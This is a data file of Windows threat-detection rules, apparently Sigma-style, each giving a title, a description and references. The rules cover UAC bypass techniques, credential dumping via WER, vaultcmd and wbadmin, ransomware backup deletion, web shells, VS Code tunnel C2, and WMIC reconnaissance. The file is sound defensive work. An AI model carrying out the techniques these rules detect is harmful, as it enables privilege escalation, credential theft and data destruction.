UAC Bypass Using ChangePK and SLUI	Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)	https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b, https://github.com/hfiref0x/UACME, https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf
CMSTP UAC Bypass via COM Object Access	Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)	https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/, https://twitter.com/hFireF0X/status/897640081053364225, https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf, https://github.com/hfiref0x/UACME
UAC Bypass Tools Using ComputerDefaults	Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)	https://github.com/hfiref0x/UACME
Potential RDP Session Hijacking Activity	Detects potential RDP Session Hijacking activity on Windows systems	https://twitter.com/Moti_B/status/909449115477659651
UAC Bypass Using Consent and Comctl32 - Process	Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)	https://github.com/hfiref0x/UACME
UAC Bypass Using DismHost	Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)	https://github.com/hfiref0x/UACME
Bypass UAC via Fodhelper.exe	Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.	https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md
UAC Bypass Using Event Viewer RecentViews	Detects the pattern of UAC Bypass using Event Viewer RecentViews	https://twitter.com/orange_8361/status/1518970259868626944, https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute
UAC Bypass Using NTFS Reparse Point - Process	Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)	https://github.com/hfiref0x/UACME
UAC Bypass via ICMLuaUtil	Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface	https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html
UAC Bypass Using IDiagnostic Profile	Detects the "IDiagnosticProfileUAC" UAC bypass technique	https://github.com/Wh04m1001/IDiagnosticProfileUAC
UAC Bypass Using IEInstal - Process	Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)	https://github.com/hfiref0x/UACME
UAC Bypass via Windows Firewall Snap-In Hijack	Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in	https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack
UAC Bypass Using MSConfig Token Modification - Process	Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)	https://github.com/hfiref0x/UACME
UAC Bypass Using PkgMgr and DISM	Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)	https://github.com/hfiref0x/UACME
Potential UAC Bypass Via Sdclt.EXE	A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.	https://github.com/OTRF/detection-hackathon-apt29/issues/6, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md
TrustedPath UAC Bypass Pattern	Detects indicators of a UAC bypass method by mocking directories	https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e, https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows, https://github.com/netero1010/TrustedPath-UACBypass-BOF
UAC Bypass Abusing Winsat Path Parsing - Process	Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)	https://github.com/hfiref0x/UACME
UAC Bypass Using Windows Media Player - Process	Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)	https://github.com/hfiref0x/UACME
Bypass UAC via WSReset.exe	Detects use of WSReset.exe to bypass User Account Control (UAC). Adversaries use this technique to execute privileged processes.	https://eqllib.readthedocs.io/en/latest/analytics/532b5ed4-7930-11e9-8f5c-d46d6d62a49e.html, https://lolbas-project.github.io/lolbas/Binaries/Wsreset/, https://www.activecyber.us/activelabs/windows-uac-bypass, https://twitter.com/ReaQta/status/1222548288731217921
UAC Bypass WSReset	Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config	https://lolbas-project.github.io/lolbas/Binaries/Wsreset/, https://github.com/hfiref0x/UACME, https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf
Use of UltraVNC Remote Access Software	An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks	https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md
Suspicious UltraVNC Execution	Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)	https://web.archive.org/web/20220224045756/https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine, https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution, https://uvnc.com/docs/uvnc-viewer/52-ultravnc-viewer-commandline-parameters.html
Uninstall Crowdstrike Falcon Sensor	Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
Windows Credential Manager Access via VaultCmd	List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd
Uncommon Userinit Child Process	Detects uncommon "userinit.exe" child processes, which could be a sign of uncommon shells or login scripts used for persistence.	https://cocomelonc.github.io/persistence/2022/12/09/malware-pers-20.html, https://learn.microsoft.com/en-us/windows-server/administration/server-core/server-core-sconfig#powershell-is-the-default-shell-on-server-core
Verclsid.exe Runs COM Object	Detects when verclsid.exe is used to run COM object via GUID	https://lolbas-project.github.io/lolbas/Binaries/Verclsid/, https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5, https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
Detect Virtualbox Driver Installation OR Starting Of VMs	Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.	https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/, https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/
Suspicious VBoxDrvInst.exe Parameters	Detect VBoxDrvInst.exe run with parameters allowing processing INF file. This allows to create values in the registry and install drivers. For example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys	https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml, https://twitter.com/pabraeken/status/993497996179492864
Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script	Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state	https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/, https://www.hexacorn.com/blog/2017/01/14/beyond-good-ol-run-key-part-53/
Suspicious Persistence Via VMwareToolBoxCmd.EXE VM State Change Script	Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script that's located in a potentially suspicious location to run for a specific VM state	https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/
VMToolsd Suspicious Child Process	Detects suspicious child process creations of VMware Tools process which may indicate persistence setup	https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/, https://user-images.githubusercontent.com/61026070/136518004-b68cce7d-f9b8-4e9a-9b7b-53b1568a9a94.png, https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/tools.conf
Potentially Suspicious Child Process Of VsCode	Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles.	https://twitter.com/nas_bench/status/1618021838407495681, https://twitter.com/nas_bench/status/1618021415852335105
Visual Studio Code Tunnel Execution	Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel	https://ipfyx.fr/post/visual-studio-code-tunnel/, https://badoption.eu/blog/2023/01/31/code_c2.html, https://code.visualstudio.com/docs/remote/tunnels
Visual Studio Code Tunnel Shell Execution	Detects the execution of a shell (powershell, bash, wsl...) via Visual Studio Code tunnel. Attackers can abuse this functionality to establish a C2 channel and execute arbitrary commands on the system.	https://ipfyx.fr/post/visual-studio-code-tunnel/, https://badoption.eu/blog/2023/01/31/code_c2.html, https://code.visualstudio.com/docs/remote/tunnels
Renamed Visual Studio Code Tunnel Execution	Detects renamed Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel	https://ipfyx.fr/post/visual-studio-code-tunnel/, https://badoption.eu/blog/2023/01/31/code_c2.html, https://code.visualstudio.com/docs/remote/tunnels
Visual Studio Code Tunnel Service Installation	Detects the installation of VsCode tunnel (code-tunnel) as a service.	https://ipfyx.fr/post/visual-studio-code-tunnel/, https://badoption.eu/blog/2023/01/31/code_c2.html, https://code.visualstudio.com/docs/remote/tunnels
Potential Binary Proxy Execution Via VSDiagnostics.EXE	Detects execution of "VSDiagnostics.exe" with the "start" command in order to launch and proxy arbitrary binaries.	https://twitter.com/0xBoku/status/1679200664013135872
Suspicious Vsls-Agent Command With AgentExtensionPath Load	Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter	https://twitter.com/bohops/status/1583916360404729857
Use of W32tm as Timer	When configured with suitable command line arguments, w32tm can act as a delay mechanism	https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1124/T1124.md, https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains
Wab Execution From Non Default Location	Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity	https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime, https://thedfirreport.com/2022/09/26/bumblebee-round-two/
Wab/Wabmig Unusual Parent Or Child Processes	Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity	https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime, https://thedfirreport.com/2022/09/26/bumblebee-round-two/
All Backups Deleted Via Wbadmin.EXE	Detects the deletion of all backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell, https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md, https://www.sentinelone.com/labs/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/, https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted, https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version/technical-appendix-lockbit-ng-dev-analysis.pdf, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup
Windows Backup Deleted Via Wbadmin.EXE	Detects the deletion of backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell, https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md, https://www.sentinelone.com/labs/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/, https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted, https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version/technical-appendix-lockbit-ng-dev-analysis.pdf, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup
Sensitive File Dump Via Wbadmin.EXE	Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.	https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Wbadmin.yml, https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup
File Recovery From Backup Via Wbadmin.EXE	Detects the recovery of files from backups via "wbadmin.exe". Attackers can restore sensitive files such as NTDS.DIT or Registry Hives from backups in order to potentially extract credentials.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery, https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/
Sensitive File Recovery From Backup Via Wbadmin.EXE	Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.	https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Wbadmin.yml, https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup
Potentially Suspicious WebDAV LNK Execution	Detects possible execution via LNK file accessed on a WebDAV server.	https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html, https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462
Chopper Webshell Process Pattern	Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells	https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/
Webshell Hacking Activity Patterns	Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system	https://youtu.be/7aemGhaE9ds?t=641
Webshell Detection With Command Line Keywords	Detects certain command line parameters often used during reconnaissance activity via web shells	https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html, https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/, https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild
Suspicious Process By Web Server Process	Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation	https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
Potential Credential Dumping Via WER	Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass	https://github.com/deepinstinct/Lsass-Shtinkering, https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf
Webshell Tool Reconnaissance Activity	Detects processes spawned from web servers (PHP, Tomcat, IIS, etc.) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands	https://ragged-lab.blogspot.com/2020/07/webshells-automating-reconnaissance.html
Potential ReflectDebugger Content Execution Via WerFault.EXE	Detects execution of "WerFault.exe" with the "-pr" commandline flag that is used to run files stored in the ReflectDebugger key which could be used to store the path to the malware in order to masquerade the execution flow	https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html, https://www.hexacorn.com/blog/2018/08/31/beyond-good-ol-run-key-part-85/
Suspicious Child Process Of Wermgr.EXE	Detects suspicious Windows Error Reporting manager (wermgr.exe) child process	https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html, https://www.echotrail.io/insights/search/wermgr.exe, https://github.com/binderlabs/DirCreate2System
Suspicious Execution Location Of Wermgr.EXE	Detects suspicious Windows Error Reporting manager (wermgr.exe) execution location.	https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html, https://www.echotrail.io/insights/search/wermgr.exe, https://github.com/binderlabs/DirCreate2System
Suspicious File Download From IP Via Wget.EXE	Detects potentially suspicious file downloads directly from IP addresses using Wget.exe	https://www.gnu.org/software/wget/manual/wget.html
Suspicious File Download From File Sharing Domain Via Wget.EXE	Detects potentially suspicious file downloads from file sharing domains using wget.exe	https://labs.withsecure.com/publications/fin7-target-veeam-servers, https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv, https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
Suspicious File Download From IP Via Wget.EXE - Paths	Detects potentially suspicious file downloads directly from IP addresses and stored in suspicious locations using Wget.exe	https://www.gnu.org/software/wget/manual/wget.html
Suspicious Where Execution	Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md
Enumerate All Information With Whoami.EXE	Detects the execution of "whoami.exe" with the "/all" flag	https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/, https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/, https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s
Whoami Utility Execution	Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation	https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/, https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/
Whoami.EXE Execution From Privileged Process	Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://web.archive.org/web/20221019044836/https://nsudo.m2team.org/en-us/
Group Membership Reconnaissance Via Whoami.EXE	Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
Whoami.EXE Execution With Output Option	Detects the execution of "whoami.exe" with the "/FO" flag to choose CSV as output format or with redirection options to export the results to a file for later use.	https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/, https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/, https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s
Whoami.EXE Execution Anomaly	Detects the execution of whoami.exe with suspicious parent processes.	https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/, https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/, https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s
Security Privileges Enumeration Via Whoami.EXE	Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
Suspicious WindowsTerminal Child Processes	Detects suspicious children spawned via the Windows Terminal application which could be a sign of persistence via WindowsTerminal (see references section)	https://persistence-info.github.io/Data/windowsterminalprofile.html, https://twitter.com/nas_bench/status/1550836225652686848
Add New Download Source To Winget	Detects usage of winget to add new additional download sources	https://learn.microsoft.com/en-us/windows/package-manager/winget/source, https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
Add Insecure Download Source To Winget	Detects usage of winget to add a new insecure (http) download source. Winget will not allow the addition of insecure sources, hence this could indicate potential suspicious activity (or typos)	https://learn.microsoft.com/en-us/windows/package-manager/winget/source, https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
Add Potential Suspicious New Download Source To Winget	Detects usage of winget to add new potentially suspicious download sources	https://learn.microsoft.com/en-us/windows/package-manager/winget/source, https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
Install New Package Via Winget Local Manifest	Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe, msi or msix files later.	https://learn.microsoft.com/en-us/windows/package-manager/winget/install#local-install, https://lolbas-project.github.io/lolbas/Binaries/Winget/, https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
Winrar Compressing Dump Files	Detects execution of WinRAR in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.	https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/
Potentially Suspicious Child Process Of WinRAR.EXE	Detects potentially suspicious child processes of WinRAR.exe.	https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/, https://github.com/knight0x07/WinRAR-Code-Execution-Vulnerability-CVE-2023-38831/blob/26ab6c40b6d2c09bb4fc60feaa4a3a90cfd20c23/Part-1-Overview.md
Winrar Execution in Non-Standard Folder	Detects a suspicious winrar execution in a folder which is not the default installation folder	https://twitter.com/cyb3rops/status/1460978167628406785
AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl	Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)	https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
Remote Code Execute via Winrm.vbs	Detects an attempt to execute code or create service on remote host via winrm.vbs.	https://twitter.com/bohops/status/994405551751815170, https://redcanary.com/blog/lateral-movement-winrm-wmi/, https://lolbas-project.github.io/lolbas/Scripts/Winrm/
Remote PowerShell Session Host Process (WinRM)	Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).	https://threathunterplaybook.com/hunts/windows/190511-RemotePwshExecution/notebook.html
Suspicious Processes Spawned by WinRM	Detects suspicious processes including shells spawnd from WinRM host process	Internal Research
Compress Data and Lock With Password for Exfiltration With WINZIP	An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
Wlrmdr.EXE Uncommon Argument Or Child Process	Detects the execution of "Wlrmdr.exe" with the "-u" command line flag which allows anything passed to it to be an argument of the ShellExecute API, which would allow an attacker to execute arbitrary binaries. This detection also focuses on any uncommon child processes spawned from "Wlrmdr.exe" as a supplement for those that posses "ParentImage" telemetry.	https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ, https://lolbas-project.github.io/lolbas/Binaries/Wlrmdr/
New ActiveScriptEventConsumer Created Via Wmic.EXE	Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence	https://twitter.com/johnlatwc/status/1408062131321270282?s=12, https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
Potential Windows Defender Tampering Via Wmic.EXE	Detects potential tampering with Windows Defender settings such as adding exclusion using wmic	https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md, https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/, https://www.bleepingcomputer.com/news/security/iobit-forums-hacked-to-spread-ransomware-to-its-members/
New Process Created Via Wmic.EXE	Detects new process creation using WMIC via the "process call create" flag	https://www.sans.org/blog/wmic-for-incident-response/, https://github.com/redcanaryco/atomic-red-team/blob/84215139ee5127f8e3a117e063b604812bd71928/atomics/T1047/T1047.md#atomic-test-5---wmi-execute-local-process
Computer System Reconnaissance Via Wmic.EXE	Detects execution of wmic utility with the "computersystem" flag in order to obtain information about the machine such as the domain, username, model, etc.	https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/
Local Groups Reconnaissance Via Wmic.EXE	Detects the execution of "wmic" with the "group" flag. Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md
Hardware Model Reconnaissance Via Wmic.EXE	Detects the execution of WMIC with the "csproduct" which is used to obtain information such as hardware models and vendor information	https://jonconwayuk.wordpress.com/2014/01/31/wmic-csproduct-using-wmi-to-identify-make-and-model-of-hardware/, https://www.uptycs.com/blog/kuraystealer-a-bandit-using-discord-webhooks
Windows Hotfix Updates Reconnaissance Via Wmic.EXE	Detects the execution of wmic with the "qfe" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts	https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat, https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
Process Reconnaissance Via Wmic.EXE	Detects the execution of "wmic" with the "process" flag, which adversary might use to list processes running on the compromised host or list installed software hotfixes and patches.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
Potential Product Reconnaissance Via Wmic.EXE	Detects the execution of WMIC in order to get a list of firewall and antivirus products	https://thedfirreport.com/2023/03/06/2022-year-in-review/, https://www.yeahhub.com/list-installed-programs-version-path-windows/, https://learn.microsoft.com/en-us/answers/questions/253555/software-list-inventory-wmic-product
Potential Product Class Reconnaissance Via Wmic.EXE	Detects the execution of WMIC in order to get a list of firewall and antivirus products	https://github.com/albertzsigovits/malware-notes/blob/c820c7fea76cf76a861b28ebc77e06100e20ec29/Ransomware/Maze.md, https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1
Service Reconnaissance Via Wmic.EXE	An adversary might use WMI to check if a certain remote service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic
Uncommon System Information Discovery Via Wmic.EXE	Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. Some of these commands were used by Aurora Stealer in late 2022/early 2023.	https://github.com/redcanaryco/atomic-red-team/blob/a2ccd19c37d0278b4ffa8583add3cf52060a5418/atomics/T1082/T1082.md#atomic-test-25---system-information-discovery-with-wmic, https://nwgat.ninja/getting-system-information-with-wmic-on-windows/, https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar, https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/, https://app.any.run/tasks/a6aa0057-82ec-451f-8f99-55650ca537da/, https://www.virustotal.com/gui/file/d6f6bc10ae0e634ed4301d584f61418cee18e5d58ad9af72f8aa552dc4aaeca3/behavior
